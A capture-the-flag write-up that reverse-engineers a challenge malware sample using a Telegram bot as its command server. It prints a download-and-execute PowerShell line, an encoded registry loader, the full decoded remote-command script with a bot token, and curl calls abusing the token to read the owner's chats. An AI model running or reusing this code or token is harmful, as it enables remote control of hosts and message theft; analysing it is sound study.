# SiberSiaga 2023: Malbot

## TL;DR

> The malware is using Telegram bot as a C2 server. Abuse the `forwardMessage` API to hijack conversation between the bot and it's owner.

## **Initial Analysis**

We were given 2 files: `.EXE` and `.DLL`. Decompiling the executable file does not yield any positive result as it just calls the exported function from the `.DLL` file, which displays a MessageBox.

```c
 void possible_main(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)
 ​
 {
   printf("This binary has been created specifically for the SiberSiaga 2023 CTF.\n",param_2,param_3,
          param_4);
   printf("This is a malware. Please run in a safe environment.\n",param_2,param_3,param_4);
   printf("Proceed to run? Yes or no: ",param_2,param_3,param_4);
   hModule = LoadLibraryW(L"MSVCR100.dll");
   if (hModule != (HMODULE)0x0) {
     pFVar5 = GetProcAddress(hModule,"function_101009");
     FreeLibrary(hModule);
   }
   return;
 }
```

Decompiling the `.DLL` file reveals 2 exported function used by the executable.

<figure><img src="/files/QRaMC3erxOQq1h3cI27X" alt=""><figcaption></figcaption></figure>

The first function doesn't do much except for printing the `SiberSiaga` title using `MessageBoxW` API.

```c
 void function_101009(void)
 ​
 {
   FUN_180001ed0((undefined (*) [16])local_38,L"Ugnamog\"vm\"Qk`gpQkcec\"0201");
   if (local_28 != 0) {
     do {
       pWVar1 = (LPCWSTR)((longlong)ppppuVar3 + uVar5 * 2);
       *pWVar1 = *pWVar1 ^ 2;
       uVar5 = uVar5 + 1;
     } while (uVar5 < local_28);
   }
   FUN_180001ed0((undefined (*) [16])&local_58,L"PjafqPjbdb#1310");
   if (local_48 != 0) {
     do {
       pWVar4 = (WCHAR *)CONCAT62(uStack_56,local_58);
       pWVar4[uVar6] = pWVar4[uVar6] ^ 3;
       uVar6 = uVar6 + 1;
     } while (uVar6 < local_48);
   }
   MessageBoxW((HWND)0x0,(LPCWSTR)ppppuVar3,pWVar4,0x40);
   function_101010();
   FUN_180002030(local_18 ^ (ulonglong)auStack_78);
   return;
 }
```

The other function reveals 2 major PowerShell blocks.

```c
 void function_101010(void)
 ​
 {
   LVar2 = RegCreateKeyExW((HKEY)0xffffffff80000001,(LPCWSTR)ppppuVar3,0,(LPWSTR)0x0,0,0x20006,
                           (LPSECURITY_ATTRIBUTES)0x0,&local_268,(LPDWORD)0x0);
   if (LVar2 != 0) {
     FUN_1800011c0((undefined8 *)&local_100);
   }
 ​
   LVar2 = RegSetValueExW(local_268,(LPCWSTR)&local_e8,0,1,(BYTE *)puVar5,local_110 * 2);
   if (LVar2 != 0) {
     RegCloseKey(local_268);
   }
   RegCloseKey(local_268);
   FUN_180001ed0((undefined (*) [16])&local_140,
                 L"powershell IEX (New-Object Net.WebClient).DownloadString(\'https://gist.githubuser content.com/fareedfauzi/de74bb93f6f9fb98038dac71ea8977e4/raw/8040d8274d0c8d9cb28e80d c4cab1b49d79c86d5/sibersiaga-ctf.ps1\')"
                );
   LVar2 = RegCreateKeyExW((HKEY)0xffffffff80000001,pWVar9,0,(LPWSTR)0x0,0,0x20006,
                           (LPSECURITY_ATTRIBUTES)0x0,&local_260,(LPDWORD)0x0);
   LVar2 = RegSetValueExW(local_260,(LPCWSTR)&local_c0,0,1,(BYTE *)puVar5,local_130 * 2);
   RegCloseKey(local_260);
   FUN_180001ed0((undefined (*) [16])&local_1c0,L"WKBPSEVAXXGhewwawXX*wmfavwmece");
   if (local_1b0 != 0) {
     do {
       pWVar4[uVar6] = pWVar4[uVar6] ^ 4;
       uVar6 = uVar6 + 1;
     } while (uVar6 < local_1b0);
   }
   FUN_180001ed0((undefined (*) [16])&local_220,L"wmfavwmecebmha");
   if (local_210 != 0) {
     do {
       puVar5[uVar6] = puVar5[uVar6] ^ 4;
       uVar6 = uVar6 + 1;
     } while (uVar6 < local_210);
   }
   FUN_180001ed0((undefined (*) [16])&local_1e0,
                 L"VJCQRDW@YYFidvv`vYYvlg`wvldbdcli`YYvm`iiYYju`kYYfjhhdka");
   if (local_1d0 != 0) {
     do {
       pWVar4[uVar6] = pWVar4[uVar6] ^ 5;
       uVar6 = uVar6 + 1;
     } while (uVar6 < local_1d0);
   }
   FUN_180001ed0((undefined (*) [16])&local_160,
                 L"powershell.exe -enc WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6AD oAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdA BdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIAAnAFIAZQBnAGkAcwB0AH IAeQA6ADoASABLAEUAWQBfAEMATABBAFMAUwBFAFMAXwBSAE8ATwBUAFwAcwBpAGIAZQByAHMAaQBhAGcAYQ BmAGkAbABlAFwAcwBoAGUAbABsAFwAbwBwAGUAbgBcAGMAbwBtAG0AYQBuAGQAJwAgAC0ATgBhAG0AZQAgAC cAcwBpAGIAZQByAHMAaQBhAGcAYQAnACkALgAnAHMAaQBiAGUAcgBzAGkAYQBnAGEAJwApAHwAJQAgAC0AQg BlAGcAaQBuAHsAJABpAD0AMAB9ACAALQBQAHIAbwBjAGUAcwBzAHsAJABfACAAPQAgACQAXwAgAC0AYgB4AG 8AcgAgACQAaQAlADIANQA2ADsAJABpACsAKwA7ACQAXwB9ACkAKQAgAHwAIABpAGUAeAA="
                );
   return;
 }
```

## **Decoding PowerShell Scripts**

The first PowerShell Script results in the following URL:

<https://gist.githubusercontent.com/fareedfauzi/de74bb93f6f9fb98038dac71ea8977e4/raw/8040d8274d0c8d9cb28e80dc4cab1b49d79c86d5/sibersiaga-ctf.ps1/>

```powershell
 $batchScript = { whoami | Out-File -Append "$env:APPDATA\s.sibersiaga"; Start-Process "$env:APPDATA\s.sibersiaga"; Remove-Item "$env:APPDATA\s.sibersiaga"; Exit }; Get-ChildItem -Path "$env:SystemRoot\System32" -Filter "notepad.exe" -File | ForEach-Object { Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command & {$batchScript}" -Wait }
```

Decoding the base64 strings from the second Powershell command.

<figure><img src="/files/ohY0u4xDaqPHebtQ3WIb" alt=""><figcaption></figcaption></figure>

It appears that the malware is performing XOR on a base64 encoded string retrieved from the registry.

```powershell
 [System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64String((gp 'Registry::HKEY_CLASSES_ROOT\sibersiagafile\shell\open\command' -Name 'sibersiaga').'sibersiaga')|% -Begin{$i=0} -Process{$_ = $_ -bxor $i%256;$i++;$_})) | iex
```

We do not have to manually decrypt it as we can get the entire code by just running it in `Powershell ISE`, but with the `iex` cmdlet removed.

```powershell
 [System.Net.ServicePointManager]::SecurityProtocol=@("Tls12","Tls11","Tls","Ssl3")
 $token="6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78"
 $id=467115391
 $mid=(gp "HKCU:\Environment" -name Update).Update
 $guid = (gp "HKCU:\Environment" -name guid).guid
 $ip=irm "https://ifconfig.me/ip"
 ​
 if( -not (New-Object System.Threading.Mutex($false, $guid)).WaitOne(1)){
     exit
 }
 if($mid -and $guid){
     irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip reconnected!"
 }
 else {
     $guid = [guid]::NewGuid().guid
     Set-ItemProperty "HKCU:\Environment" -name "GUID" -value $guid
     irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip new connection!"
 }
 if($mid -isnot [int]){
     $mid = 0
 }
 while(1){
     Start-Sleep 60;
     (irm -Uri "https://api.telegram.org/bot$($token)/getUpdates").result|%{
         if ($mid -lt $_.update_id) {
             $mid=$_.update_id;
             $name,$task=$_.message.text -split " :: ";
             if ( ($name -like $ip) -or ($name -like $env:COMPUTERNAME) -or ($name -like $guid) -or ($name -like "all")) {
                 $message = $($task | iex)2>&1 | Out-String;
                 if ("" -eq $message){
                     $message="Task Done!"
                 }
                 $b=0;
                 while ($b -lt $message.Length) {
                     $c = 4000;
                     if (($c + $b) -gt $message.Length){$c=$message.Length % 4000}
                     irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip answer message : $($_.message.message_id)`n$($message.Substring($b,$c))"
                     $b+=$c
                 }
             }
         }
         Set-ItemProperty "HKCU:\Environment" -name "Update" -value $mid
     }
 }
```

The decoded script reveals several Telegram Bot APIs, as well as the bot token. Putting everything together provides us the following API methods:

```
 https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getUpdates
 ​
 https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/sendMessage?chat_id=467115391&text=s.sibersiaga
 ​
 https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getChat?chat_id=467115391
```

## **Exploring Exposed API Functions**

### **getUpdates()**

As described in the Telegram documentation, `getUpdates` is used to receive incoming updates using an identifier `offset`. Seeing this in action shows the message sent from `DeezNutz` to the Telegram Bot:

```bash
 ┌──(kali💀JesusCries)-[~]
 └─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getUpdates
 {"ok":true,"result":[{"update_id":539091034,
 "message":{"message_id":1302,"from":{"id":876720986,"is_bot":false,"first_name":"Deez","last_name":"Nutz","username":"lookatthesenutz","language_code":"en"},"chat":{"id":876720986,"first_name":"Deez","last_name":"Nutz","username":"lookatthesenutz","type":"private"},"date":1692545719,"text":"SiberSiaga"}}]}
```

Quoting the description for `offset` parameter from Telegram API docs:

> Identifier of the first update to be returned. Must be greater by one than the highest among the identifiers of previously received updates. By default, updates starting with the earliest unconfirmed update are returned. An update is considered confirmed as soon as [getUpdates](https://core.telegram.org/bots/api#getupdates) is called with an *offset* higher than its *update\_id*. The negative offset can be specified to retrieve updates starting from *-offset* update from the end of the updates queue. All previous updates will be forgotten.

**Possible Exploit Idea:** By providing a negative offset, we might be able to leak previous conversations between the bot and other users. However, this requires us to fuzz the `update_id` value in order to locate the conversation which contains the flag. As the current `update_id` is a relatively large number, this would require 539+ million brute-forcing requests, not to mention that the API is rate-limited.

### **sendMessage()**

A simple API to send messages to users on behalf of the bot. This sends the text "sibersiaga" to user `DeezNutz` as the Telegram Bot.

```bash
 ┌──(kali💀JesusCries)-[~]
 └─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/sendMessage?chat_id=876720986&text=sibersiaga
 {"ok":true,"result":{"message_id":1303,"from":{"id":6420681879,"is_bot":true,"first_name":"sibersiaga_ctf_bot","username":"sibersiaga_ctf_bot"},"chat":{"id":876720986,"first_name":"Deez","last_name":"Nutz","username":"lookatthesenutz","type":"private"},"date":1692546521,"text":"sibersiaga"}}
```

**Possible Exploit Idea:** Send a custom command such as `/flag` to an admin user to receive the flag? This would require us to have prior knowledge of the admin user's `chat_id` in the first place.

### **getChat()**

Getting some basic information about the user, such as `first_name` and `username`:

```bash
 ┌──(kali💀JesusCries)-[~]
 └─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getChat?chat_id=467115391
 {"ok":true,"result":{"id":467115391,"first_name":"fauzi","username":"scvhost_exe","type":"private","active_usernames":["scvhost_exe"],"has_private_forwards":true}}
```

**Possible Exploit Idea:** Probably none.

## **Abusing forwardMessage API**

Browsing through the available API calls on Telegram documentation, there's one interesting API `forwardMessage` that we can abuse to read old messages between the bot and another user.

<https://core.telegram.org/bots/api#available-methods>

<figure><img src="/files/7xks8ofUi0yiFEhxOofs" alt=""><figcaption></figcaption></figure>

This API requires 3 parameters, 2 of which are known to us: `chat_id` (Recipient - Us) and `from_chat_id` (Sender - Fareed).

After a bit of trial and error with the `message_id` parameter, we can get the flag on the 12th `message_id`:

```bash
 ┌──(kali💀JesusCries)-[~]
 └─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/forwardMessage?chat_id=876720986&from_chat_id=467115391&message_id=12
 ​
 DESKTOP-GA02OJQ :: echo "sibersiaga{now_y0u_kn0w_how_telegram_C2_works!}" > flag.txt
```

**Flag:** sibersiaga{now\_y0u\_kn0w\_how\_telegram\_C2\_works!}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/ctf-writeups/reverse-engineering/sibersiaga-2023-malbot.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
